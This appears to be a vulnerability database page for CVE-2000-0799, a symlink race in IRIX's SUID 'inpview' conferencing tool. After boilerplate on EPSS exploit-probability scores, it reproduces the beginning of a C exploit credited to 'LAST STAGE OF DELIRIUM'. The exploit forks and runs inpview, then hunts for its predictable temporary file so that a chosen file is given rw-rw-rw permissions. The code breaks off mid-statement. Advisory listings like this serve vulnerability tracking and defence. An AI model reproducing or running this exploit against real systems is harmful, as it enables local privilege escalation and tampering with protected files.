CVE-2000-0799 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/1530/info Certain versions of IRIX ship with a version of inpview that creates files in '/var/tmp/' in an insecure manner and is therefore prone to a race condition. InPerson's 'inpview' is a networked multimedia conferencing tool. InPerson provides multiway audio and video conferencing with a shared whiteboard, combined into a single, easy-to-use application. You use a separate "phone" tool to place and answer calls. The 'inpview' program writes out temporary files in the '/var/tmp' directory. Because these filenames are not random, an attacker can create a symlink to a previously created filename and force the SUID 'inpview' to overwrite the file with 'rw-rw-rw' permissions. */ /*## copyright LAST STAGE OF DELIRIUM jan 2000 poland *://lsd-pl.net/ #*/ /*## /usr/lib/InPerson/inpview #*/ /* sets rw-rw-rw permissions */ #include <sys/types.h> #include <dirent.h> #include <stdio.h> main(int argc,char **argv){ DIR *dirp;struct dirent *dentp; printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland //lsd-pl.net/\n"); printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n"); if(argc!=2){ printf("usage: %s file\n",argv[0]); exit(-1); } if(!fork()){ nice(-20);sleep(2);close(0);close(1);close(2); execle("/usr/lib/InPerson/inpview","lsd",0,0); } printf("looking for temporary file...
